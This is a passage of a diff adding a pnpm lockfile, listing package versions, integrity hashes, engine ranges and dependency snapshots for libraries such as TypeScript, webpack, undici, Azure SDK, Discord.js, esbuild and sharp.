+ resolution: {integrity: sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==}
+ engines: {node: '>=4.2.0'}
+ hasBin: true
+
+ typescript@5.9.3:
+ resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==}
+ engines: {node: '>=14.17'}
+ hasBin: true
+
+ uid-promise@1.0.0:
+ resolution: {integrity: sha512-R8375j0qwXyIu/7R0tjdF06/sElHqbmdmWC9M2qQHpEVbvE4I5+38KJI7LUUmQMp7NVq4tKHiBMkT0NFM453Ig==}
+
+ unbox-primitive@1.1.0:
+ resolution: {integrity: sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==}
+ engines: {node: '>= 0.4'}
+
+ undici-types@5.26.5:
+ resolution: {integrity: sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==}
+
+ undici-types@6.21.0:
+ resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==}
+
+ undici-types@7.16.0:
+ resolution: {integrity: sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==}
+
+ undici@5.28.4:
+ resolution: {integrity: sha512-72RFADWFqKmUb2hmmvNODKL3p9hcB6Gt2DOQMis1SEBaV6a4MH8soBvzg+95CYhCKPFedut2JY9bMfrDl9D23g==}
+ engines: {node: '>=14.0'}
+
+ undici@5.29.0:
+ resolution: {integrity: sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==}
+ engines: {node: '>=14.0'}
+
+ undici@6.21.3:
+ resolution: {integrity: sha512-gBLkYIlEnSp8pFbT64yFgGE6UIB9tAkhukC23PmMDCe5Nd+cRqKxSjw5y54MK2AZMgZfJWMaNE4nYUHgi1XEOw==}
+ engines: {node: '>=18.17'}
+
+ universal-user-agent@7.0.3:
+ resolution: {integrity: sha512-TmnEAEAsBJVZM/AADELsK76llnwcf9vMKuPz8JflO1frO8Lchitr0fNaN9d+Ap0BjKtqWqd/J17qeDnXh8CL2A==}
+
+ universalify@2.0.1:
+ resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==}
+ engines: {node: '>= 10.0.0'}
+
+ unpipe@1.0.0:
+ resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==}
+ engines: {node: '>= 0.8'}
+
+ unrs-resolver@1.11.1:
+ resolution: {integrity: sha512-bSjt9pjaEBnNiGgc9rUiHGKv5l4/TGzDmYw3RhnkJGtLhbnnA/5qJj7x3dNDCRx/PJxu774LlH8lCOlB4hEfKg==}
+
+ update-browserslist-db@1.2.3:
+ resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==}
+ hasBin: true
+ peerDependencies:
+ browserslist: '>= 4.21.0'
+
+ uri-js@4.4.1:
+ resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==}
+
+ use-callback-ref@1.3.3:
+ resolution: {integrity: sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==}
+ engines: {node: '>=10'}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ use-sidecar@1.1.3:
+ resolution: {integrity: sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==}
+ engines: {node: '>=10'}
+ peerDependencies:
+ '@types/react': '*'
+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ use-sync-external-store@1.6.0:
+ resolution: {integrity: sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==}
+ peerDependencies:
+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
+
+ util-deprecate@1.0.2:
+ resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==}
+
+ uuid@8.3.2:
+ resolution: {integrity: sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==}
+ hasBin: true
+
+ v8-compile-cache-lib@3.0.1:
+ resolution: {integrity: sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==}
+
+ vercel@50.10.0:
+ resolution: {integrity: sha512-XijUThNyd1g/bUWVLFbRqvxq1ZdCxn2Jb5ca3b+hnoZo7oEoHDlMf0+uK9MIIB33lbqrCVMIUKIP+EVq1X9pmg==}
+ engines: {node: '>= 18'}
+ hasBin: true
+
+ watchpack@2.5.1:
+ resolution: {integrity: sha512-Zn5uXdcFNIA1+1Ei5McRd+iRzfhENPCe7LeABkJtNulSxjma+l7ltNx55BWZkRlwRnpOgHqxnjyaDgJnNXnqzg==}
+ engines: {node: '>=10.13.0'}
+
+ web-vitals@0.2.4:
+ resolution: {integrity: sha512-6BjspCO9VriYy12z356nL6JBS0GYeEcA457YyRzD+dD6XYCQ75NKhcOHUMHentOE7OcVCIXXDvOm0jKFfQG2Gg==}
+
+ webidl-conversions@3.0.1:
+ resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==}
+
+ webpack-sources@3.3.3:
+ resolution: {integrity: sha512-yd1RBzSGanHkitROoPFd6qsrxt+oFhg/129YzheDGqeustzX0vTZJZsSsQjVQC4yzBQ56K55XU8gaNCtIzOnTg==}
+ engines: {node: '>=10.13.0'}
+
+ webpack@5.104.1:
+ resolution: {integrity: sha512-Qphch25abbMNtekmEGJmeRUhLDbe+QfiWTiqpKYkpCOWY64v9eyl+KRRLmqOFA2AvKPpc9DC6+u2n76tQLBoaA==}
+ engines: {node: '>=10.13.0'}
+ hasBin: true
+ peerDependencies:
+ webpack-cli: '*'
+ peerDependenciesMeta:
+ webpack-cli:
+ optional: true
+
+ whatwg-url@5.0.0:
+ resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==}
+
+ which-boxed-primitive@1.1.1:
+ resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==}
+ engines: {node: '>= 0.4'}
+
+ which-builtin-type@1.2.1:
+ resolution: {integrity: sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==}
+ engines: {node: '>= 0.4'}
+
+ which-collection@1.0.2:
+ resolution: {integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==}
+ engines: {node: '>= 0.4'}
+
+ which-typed-array@1.1.19:
+ resolution: {integrity: sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==}
+ engines: {node: '>= 0.4'}
+
+ which@2.0.2:
+ resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==}
+ engines: {node: '>= 8'}
+ hasBin: true
+
+ word-wrap@1.2.5:
+ resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==}
+ engines: {node: '>=0.10.0'}
+
+ wrappy@1.0.2:
+ resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==}
+
+ wsl-utils@0.1.0:
+ resolution: {integrity: sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==}
+ engines: {node: '>=18'}
+
+ xdg-app-paths@5.1.0:
+ resolution: {integrity: sha512-RAQ3WkPf4KTU1A8RtFx3gWywzVKe00tfOPFfl2NDGqbIFENQO4kqAJp7mhQjNj/33W5x5hiWWUdyfPq/5SU3QA==}
+ engines: {node: '>=6'}
+
+ xdg-portable@7.3.0:
+ resolution: {integrity: sha512-sqMMuL1rc0FmMBOzCpd0yuy9trqF2yTTVe+E9ogwCSWQCdDEtQUwrZPT6AxqtsFGRNxycgncbP/xmOOSPw5ZUw==}
+ engines: {node: '>= 6.0'}
+
+ yallist@4.0.0:
+ resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==}
+
+ yallist@5.0.0:
+ resolution: {integrity: sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==}
+ engines: {node: '>=18'}
+
+ yauzl-clone@1.0.4:
+ resolution: {integrity: sha512-igM2RRCf3k8TvZoxR2oguuw4z1xasOnA31joCqHIyLkeWrvAc2Jgay5ISQ2ZplinkoGaJ6orCz56Ey456c5ESA==}
+ engines: {node: '>=6'}
+
+ yauzl-promise@2.1.3:
+ resolution: {integrity: sha512-A1pf6fzh6eYkK0L4Qp7g9jzJSDrM6nN0bOn5T0IbY4Yo3w+YkWlHFkJP7mzknMXjqusHFHlKsK2N+4OLsK2MRA==}
+ engines: {node: '>=6'}
+
+ yauzl@2.10.0:
+ resolution: {integrity: sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==}
+
+ yn@3.1.1:
+ resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==}
+ engines: {node: '>=6'}
+
+ yocto-queue@0.1.0:
+ resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==}
+ engines: {node: '>=10'}
+
+ zod-form-data@3.0.1:
+ resolution: {integrity: sha512-uwSrDzpLDoXeAxePjPHrjjMelE5pk5zL5JcwLFISvqidGjtPl7hcheH584xGcS76c9IRHq6tqdGkf+A4eKO6Cw==}
+ peerDependencies:
+ zod: '>= 3.25.0'
+
+ zod@3.22.4:
+ resolution: {integrity: sha512-iC+8Io04lddc+mVqQ9AZ7OQ2MrUKGN+oIQyq1vemgt46jwCwLfhq7/pwnBnNXXXZb8VTVLKwp9EDkx+ryxIWmg==}
+
+ zod@4.1.8:
+ resolution: {integrity: sha512-5R1P+WwQqmmMIEACyzSvo4JXHY5WiAFHRMg+zBZKgKS+Q1viRa0C1hmUKtHltoIFKtIdki3pRxkmpP74jnNYHQ==}
+
+snapshots:
+
+ '@alloc/quick-lru@5.2.0': {}
+
+ '@azure-rest/core-client@2.5.1':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-auth': 1.10.1
+ '@azure/core-rest-pipeline': 1.22.2
+ '@azure/core-tracing': 1.3.1
+ '@typespec/ts-http-runtime': 0.3.2
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/abort-controller@2.1.2':
+ dependencies:
+ tslib: 2.8.1
+
+ '@azure/core-auth@1.10.1':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-util': 1.13.1
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/core-client@1.10.1':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-auth': 1.10.1
+ '@azure/core-rest-pipeline': 1.22.2
+ '@azure/core-tracing': 1.3.1
+ '@azure/core-util': 1.13.1
+ '@azure/logger': 1.3.0
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/core-http-compat@2.3.1':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-client': 1.10.1
+ '@azure/core-rest-pipeline': 1.22.2
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/core-lro@2.7.2':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-util': 1.13.1
+ '@azure/logger': 1.3.0
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/core-paging@1.6.2':
+ dependencies:
+ tslib: 2.8.1
+
+ '@azure/core-rest-pipeline@1.22.2':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-auth': 1.10.1
+ '@azure/core-tracing': 1.3.1
+ '@azure/core-util': 1.13.1
+ '@azure/logger': 1.3.0
+ '@typespec/ts-http-runtime': 0.3.2
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/core-tracing@1.3.1':
+ dependencies:
+ tslib: 2.8.1
+
+ '@azure/core-util@1.13.1':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@typespec/ts-http-runtime': 0.3.2
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/identity@4.13.0':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-auth': 1.10.1
+ '@azure/core-client': 1.10.1
+ '@azure/core-rest-pipeline': 1.22.2
+ '@azure/core-tracing': 1.3.1
+ '@azure/core-util': 1.13.1
+ '@azure/logger': 1.3.0
+ '@azure/msal-browser': 4.28.1
+ '@azure/msal-node': 3.8.6
+ open: 10.2.0
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/keyvault-common@2.0.0':
+ dependencies:
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-auth': 1.10.1
+ '@azure/core-client': 1.10.1
+ '@azure/core-rest-pipeline': 1.22.2
+ '@azure/core-tracing': 1.3.1
+ '@azure/core-util': 1.13.1
+ '@azure/logger': 1.3.0
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/keyvault-keys@4.10.0':
+ dependencies:
+ '@azure-rest/core-client': 2.5.1
+ '@azure/abort-controller': 2.1.2
+ '@azure/core-auth': 1.10.1
+ '@azure/core-http-compat': 2.3.1
+ '@azure/core-lro': 2.7.2
+ '@azure/core-paging': 1.6.2
+ '@azure/core-rest-pipeline': 1.22.2
+ '@azure/core-tracing': 1.3.1
+ '@azure/core-util': 1.13.1
+ '@azure/keyvault-common': 2.0.0
+ '@azure/logger': 1.3.0
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/logger@1.3.0':
+ dependencies:
+ '@typespec/ts-http-runtime': 0.3.2
+ tslib: 2.8.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@azure/msal-browser@4.28.1':
+ dependencies:
+ '@azure/msal-common': 15.14.1
+
+ '@azure/msal-common@15.14.1': {}
+
+ '@azure/msal-node@3.8.6':
+ dependencies:
+ '@azure/msal-common': 15.14.1
+ jsonwebtoken: 9.0.3
+ uuid: 8.3.2
+
+ '@cspotcode/source-map-support@0.8.1':
+ dependencies:
+ '@jridgewell/trace-mapping': 0.3.9
+
+ '@date-fns/tz@1.4.1': {}
+
+ '@discordjs/builders@1.13.1':
+ dependencies:
+ '@discordjs/formatters': 0.6.2
+ '@discordjs/util': 1.2.0
+ '@sapphire/shapeshift': 4.0.0
+ discord-api-types: 0.38.37
+ fast-deep-equal: 3.1.3
+ ts-mixer: 6.0.4
+ tslib: 2.8.1
+
+ '@discordjs/collection@2.1.1': {}
+
+ '@discordjs/formatters@0.6.2':
+ dependencies:
+ discord-api-types: 0.38.37
+
+ '@discordjs/rest@2.6.0':
+ dependencies:
+ '@discordjs/collection': 2.1.1
+ '@discordjs/util': 1.2.0
+ '@sapphire/async-queue': 1.5.5
+ '@sapphire/snowflake': 3.5.5
+ '@vladfrangu/async_event_emitter': 2.4.7
+ discord-api-types: 0.38.37
+ magic-bytes.js: 1.12.1
+ tslib: 2.8.1
+ undici: 6.21.3
+
+ '@discordjs/util@1.2.0':
+ dependencies:
+ discord-api-types: 0.38.37
+
+ '@drizzle-team/brocli@0.11.0': {}
+
+ '@edge-runtime/format@2.2.1': {}
+
+ '@edge-runtime/node-utils@2.3.0': {}
+
+ '@edge-runtime/ponyfill@2.4.2': {}
+
+ '@edge-runtime/primitives@4.1.0': {}
+
+ '@edge-runtime/vm@3.2.0':
+ dependencies:
+ '@edge-runtime/primitives': 4.1.0
+
+ '@emnapi/core@1.8.1':
+ dependencies:
+ '@emnapi/wasi-threads': 1.1.0
+ tslib: 2.8.1
+ optional: true
+
+ '@emnapi/runtime@1.8.1':
+ dependencies:
+ tslib: 2.8.1
+ optional: true
+
+ '@emnapi/wasi-threads@1.1.0':
+ dependencies:
+ tslib: 2.8.1
+ optional: true
+
+ '@esbuild/aix-ppc64@0.25.12':
+ optional: true
+
+ '@esbuild/aix-ppc64@0.27.0':
+ optional: true
+
+ '@esbuild/aix-ppc64@0.27.2':
+ optional: true
+
+ '@esbuild/android-arm64@0.25.12':
+ optional: true
+
+ '@esbuild/android-arm64@0.27.0':
+ optional: true
+
+ '@esbuild/android-arm64@0.27.2':
+ optional: true
+
+ '@esbuild/android-arm@0.25.12':
+ optional: true
+
+ '@esbuild/android-arm@0.27.0':
+ optional: true
+
+ '@esbuild/android-arm@0.27.2':
+ optional: true
+
+ '@esbuild/android-x64@0.25.12':
+ optional: true
+
+ '@esbuild/android-x64@0.27.0':
+ optional: true
+
+ '@esbuild/android-x64@0.27.2':
+ optional: true
+
+ '@esbuild/darwin-arm64@0.25.12':
+ optional: true
+
+ '@esbuild/darwin-arm64@0.27.0':
+ optional: true
+
+ '@esbuild/darwin-arm64@0.27.2':
+ optional: true
+
+ '@esbuild/darwin-x64@0.25.12':
+ optional: true
+
+ '@esbuild/darwin-x64@0.27.0':
+ optional: true
+
+ '@esbuild/darwin-x64@0.27.2':
+ optional: true
+
+ '@esbuild/freebsd-arm64@0.25.12':
+ optional: true
+
+ '@esbuild/freebsd-arm64@0.27.0':
+ optional: true
+
+ '@esbuild/freebsd-arm64@0.27.2':
+ optional: true
+
+ '@esbuild/freebsd-x64@0.25.12':
+ optional: true
+
+ '@esbuild/freebsd-x64@0.27.0':
+ optional: true
+
+ '@esbuild/freebsd-x64@0.27.2':
+ optional: true
+
+ '@esbuild/linux-arm64@0.25.12':
+ optional: true
+
+ '@esbuild/linux-arm64@0.27.0':
+ optional: true
+
+ '@esbuild/linux-arm64@0.27.2':
+ optional: true
+
+ '@esbuild/linux-arm@0.25.12':
+ optional: true
+
+ '@esbuild/linux-arm@0.27.0':
+ optional: true
+
+ '@esbuild/linux-arm@0.27.2':
+ optional: true
+
+ '@esbuild/linux-ia32@0.25.12':
+ optional: true
+
+ '@esbuild/linux-ia32@0.27.0':
+ optional: true
+
+ '@esbuild/linux-ia32@0.27.2':
+ optional: true
+
+ '@esbuild/linux-loong64@0.25.12':
+ optional: true
+
+ '@esbuild/linux-loong64@0.27.0':
+ optional: true
+
+ '@esbuild/linux-loong64@0.27.2':
+ optional: true
+
+ '@esbuild/linux-mips64el@0.25.12':
+ optional: true
+
+ '@esbuild/linux-mips64el@0.27.0':
+ optional: true
+
+ '@esbuild/linux-mips64el@0.27.2':
+ optional: true
+
+ '@esbuild/linux-ppc64@0.25.12':
+ optional: true
+
+ '@esbuild/linux-ppc64@0.27.0':
+ optional: true
+
+ '@esbuild/linux-ppc64@0.27.2':
+ optional: true
+
+ '@esbuild/linux-riscv64@0.25.12':
+ optional: true
+
+ '@esbuild/linux-riscv64@0.27.0':
+ optional: true
+
+ '@esbuild/linux-riscv64@0.27.2':
+ optional: true
+
+ '@esbuild/linux-s390x@0.25.12':
+ optional: true
+
+ '@esbuild/linux-s390x@0.27.0':
+ optional: true
+
+ '@esbuild/linux-s390x@0.27.2':
+ optional: true
+
+ '@esbuild/linux-x64@0.25.12':
+ optional: true
+
+ '@esbuild/linux-x64@0.27.0':
+ optional: true
+
+ '@esbuild/linux-x64@0.27.2':
+ optional: true
+
+ '@esbuild/netbsd-arm64@0.25.12':
+ optional: true
+
+ '@esbuild/netbsd-arm64@0.27.0':
+ optional: true
+
+ '@esbuild/netbsd-arm64@0.27.2':
+ optional: true
+
+ '@esbuild/netbsd-x64@0.25.12':
+ optional: true
+
+ '@esbuild/netbsd-x64@0.27.0':
+ optional: true
+
+ '@esbuild/netbsd-x64@0.27.2':
+ optional: true
+
+ '@esbuild/openbsd-arm64@0.25.12':
+ optional: true
+
+ '@esbuild/openbsd-arm64@0.27.0':
+ optional: true
+
+ '@esbuild/openbsd-arm64@0.27.2':
+ optional: true
+
+ '@esbuild/openbsd-x64@0.25.12':
+ optional: true
+
+ '@esbuild/openbsd-x64@0.27.0':
+ optional: true
+
+ '@esbuild/openbsd-x64@0.27.2':
+ optional: true
+
+ '@esbuild/openharmony-arm64@0.25.12':
+ optional: true
+
+ '@esbuild/openharmony-arm64@0.27.0':
+ optional: true
+
+ '@esbuild/openharmony-arm64@0.27.2':
+ optional: true
+
+ '@esbuild/sunos-x64@0.25.12':
+ optional: true
+
+ '@esbuild/sunos-x64@0.27.0':
+ optional: true
+
+ '@esbuild/sunos-x64@0.27.2':
+ optional: true
+
+ '@esbuild/win32-arm64@0.25.12':
+ optional: true
+
+ '@esbuild/win32-arm64@0.27.0':
+ optional: true
+
+ '@esbuild/win32-arm64@0.27.2':
+ optional: true
+
+ '@esbuild/win32-ia32@0.25.12':
+ optional: true
+
+ '@esbuild/win32-ia32@0.27.0':
+ optional: true
+
+ '@esbuild/win32-ia32@0.27.2':
+ optional: true
+
+ '@esbuild/win32-x64@0.25.12':
+ optional: true
+
+ '@esbuild/win32-x64@0.27.0':
+ optional: true
+
+ '@esbuild/win32-x64@0.27.2':
+ optional: true
+
+ '@eslint-community/eslint-utils@4.9.1(eslint@9.39.2(jiti@2.6.1))':
+ dependencies:
+ eslint: 9.39.2(jiti@2.6.1)
+ eslint-visitor-keys: 3.4.3
+
+ '@eslint-community/regexpp@4.12.2': {}
+
+ '@eslint/config-array@0.21.1':
+ dependencies:
+ '@eslint/object-schema': 2.1.7
+ debug: 4.4.3
+ minimatch: 3.1.2
+ transitivePeerDependencies:
+ - supports-color
+
+ '@eslint/config-helpers@0.4.2':
+ dependencies:
+ '@eslint/core': 0.17.0
+
+ '@eslint/core@0.17.0':
+ dependencies:
+ '@types/json-schema': 7.0.15
+
+ '@eslint/eslintrc@3.3.3':
+ dependencies:
+ ajv: 6.12.6
+ debug: 4.4.3
+ espree: 10.4.0
+ globals: 14.0.0
+ ignore: 5.3.2
+ import-fresh: 3.3.1
+ js-yaml: 4.1.1
+ minimatch: 3.1.2
+ strip-json-comments: 3.1.1
+ transitivePeerDependencies:
+ - supports-color
+
+ '@eslint/js@9.39.2': {}
+
+ '@eslint/object-schema@2.1.7': {}
+
+ '@eslint/plugin-kit@0.4.1':
+ dependencies:
+ '@eslint/core': 0.17.0
+ levn: 0.4.1
+
+ '@fastify/busboy@2.1.1': {}
+
+ '@floating-ui/core@1.7.3':
+ dependencies:
+ '@floating-ui/utils': 0.2.10
+
+ '@floating-ui/dom@1.7.4':
+ dependencies:
+ '@floating-ui/core': 1.7.3
+ '@floating-ui/utils': 0.2.10
+
+ '@floating-ui/react-dom@2.1.6(react-dom@19.2.4(react@19.2.4))(react@19.2.4)':
+ dependencies:
+ '@floating-ui/dom': 1.7.4
+ react: 19.2.4
+ react-dom: 19.2.4(react@19.2.4)
+
+ '@floating-ui/utils@0.2.10': {}
+
+ '@humanfs/core@0.19.1': {}
+
+ '@humanfs/node@0.16.7':
+ dependencies:
+ '@humanfs/core': 0.19.1
+ '@humanwhocodes/retry': 0.4.3
+
+ '@humanwhocodes/module-importer@1.0.1': {}
+
+ '@humanwhocodes/retry@0.4.3': {}
+
+ '@iarna/toml@2.2.5': {}
+
+ '@img/colour@1.0.0':
+ optional: true
+
+ '@img/sharp-darwin-arm64@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-darwin-arm64': 1.2.4
+ optional: true
+
+ '@img/sharp-darwin-x64@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-darwin-x64': 1.2.4
+ optional: true
+
+ '@img/sharp-libvips-darwin-arm64@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-darwin-x64@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-linux-arm64@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-linux-arm@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-linux-ppc64@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-linux-riscv64@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-linux-s390x@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-linux-x64@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-linuxmusl-arm64@1.2.4':
+ optional: true
+
+ '@img/sharp-libvips-linuxmusl-x64@1.2.4':
+ optional: true
+
+ '@img/sharp-linux-arm64@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-linux-arm64': 1.2.4
+ optional: true
+
+ '@img/sharp-linux-arm@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-linux-arm': 1.2.4
+ optional: true
+
+ '@img/sharp-linux-ppc64@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-linux-ppc64': 1.2.4
+ optional: true
+
+ '@img/sharp-linux-riscv64@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-linux-riscv64': 1.2.4
+ optional: true
+
+ '@img/sharp-linux-s390x@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-linux-s390x': 1.2.4
+ optional: true
+
+ '@img/sharp-linux-x64@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-linux-x64': 1.2.4
+ optional: true
+
+ '@img/sharp-linuxmusl-arm64@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-linuxmusl-arm64': 1.2.4
+ optional: true
+
+ '@img/sharp-linuxmusl-x64@0.34.5':
+ optionalDependencies:
+ '@img/sharp-libvips-linuxmusl-x64': 1.2.4
+ optional: true
+
+ '@img/sharp-wasm32@0.34.5':
+ dependencies:
+ '@emnapi/runtime': 1.8.1
+ optional: true
+
+ '@img/sharp-win32-arm64@0.34.5':
+ optional: true
+
+ '@img/sharp-win32-ia32@0.34.5':
+ optional: true
+
+ '@img/sharp-win32-x64@0.34.5':
+ optional: true
+
+ '@isaacs/balanced-match@4.0.1': {}
+
+ '@isaacs/brace-expansion@5.0.0':
+ dependencies:
+ '@isaacs/balanced-match': 4.0.1
+
+ '@isaacs/fs-minipass@4.0.1':
+ dependencies:
+ minipass: 7.1.2
+
+ '@jridgewell/gen-mapping@0.3.13':
+ dependencies:
+ '@jridgewell/sourcemap-codec': 1.5.5
+ '@jridgewell/trace-mapping': 0.3.31
+
+ '@jridgewell/remapping@2.3.5':
+ dependencies:
+ '@jridgewell/gen-mapping': 0.3.13
+ '@jridgewell/trace-mapping': 0.3.31
+
+ '@jridgewell/resolve-uri@3.1.2': {}
+
+ '@jridgewell/source-map@0.3.11':
+ dependencies:
+ '@jridgewell/gen-mapping': 0.3.13
+ '@jridgewell/trace-mapping': 0.3.31
+
+ '@jridgewell/sourcemap-codec@1.5.5': {}
+
+ '@jridgewell/trace-mapping@0.3.31':
+ dependencies:
+ '@jridgewell/resolve-uri': 3.1.2
